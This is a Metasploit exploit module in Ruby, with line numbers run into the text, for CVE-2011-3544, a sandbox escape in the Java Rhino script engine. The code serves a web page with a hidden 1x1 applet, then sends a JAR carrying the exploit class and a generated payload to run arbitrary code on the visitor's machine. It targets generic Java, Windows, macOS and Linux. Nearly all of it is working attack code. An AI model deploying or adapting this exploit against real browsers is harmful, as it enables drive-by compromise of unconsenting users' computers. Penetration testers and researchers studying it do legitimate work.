Path: blob/master/modules/exploits/multi/browser/java_rhino.rb
31759 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpServer::HTML910include Msf::Exploit::Remote::BrowserAutopwn11autopwn_info({ javascript: false })1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Java Applet Rhino Script Engine Remote Code Execution',18'Description' => %q{19This module exploits a vulnerability in the Rhino Script Engine that20can be used by a Java Applet to run arbitrary Java code outside of21the sandbox. The vulnerability affects version 7 and version 6 update2227 and earlier, and should work on any browser that supports Java23(for example: IE, Firefox, Google Chrome, etc)24},25'License' => MSF_LICENSE,26'Author' => [27'Michael Schierl', # Discovery28'juan vazquez', # metasploit module29'Edward D. Teach <teach[at]consortium-of-pwners.net>',30'sinn3r'31],32'References' => [33[ 'CVE', '2011-3544' ],34[ 'OSVDB', '76500' ],35[ 'ZDI', '11-305' ],36[ 'URL', 'http://schierlm.users.sourceforge.net/CVE-2011-3544.html' ],37],38'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },39'Targets' => [40[41'Generic (Java Payload)',42{43'Arch' => ARCH_JAVA44}45],46[47'Windows Universal',48{49'Arch' => ARCH_X86,50'Platform' => 'win'51}52],53[54'Apple OSX',55{56'ARCH' => ARCH_X86,57'Platform' => 'osx'58}59],60[61'Linux x86',62{63'Arch' => ARCH_X86,64'Platform' => 'linux'65}66]67],68'DefaultTarget' => 0,69'DisclosureDate' => '2011-10-18',70'Notes' => {71'Reliability' => UNKNOWN_RELIABILITY,72'Stability' => UNKNOWN_STABILITY,73'SideEffects' => UNKNOWN_SIDE_EFFECTS74}75)76)77end7879def on_request_uri(cli, request)80if !request.uri.match(/\.jar$/i)81if !request.uri.match(%r{/$})82send_redirect(cli, get_resource + '/', '')83return84end8586print_status("#{name} handling request")8788send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })89return90end9192paths = [93[ 'Exploit.class' ]94]9596p = regenerate_payload(cli)9798jar = p.encoded_jar99paths.each do |path|1001.upto(path.length - 1) do |idx|101full = path[0, idx].join('/') + '/'102if !(jar.entries.map { |e| e.name }.include?(full))103jar.add_file(full, '')104end105end106fd = File.open(File.join(Msf::Config.data_directory, 'exploits', 'cve-2011-3544', path), 'rb')107data = fd.read(fd.stat.size)108jar.add_file(path.join('/'), data)109fd.close110end111112print_status('Sending Applet.jar')113send_response(cli, jar.pack, { 'Content-Type' => 'application/octet-stream' })114115handler(cli)116end117118def generate_html119html = '<html><head></head>'120html += '<body>'121html += '<applet archive="Exploit.jar" code="Exploit.class" width="1" height="1">'122html += '</applet></body></html>'123return html124end125end126127128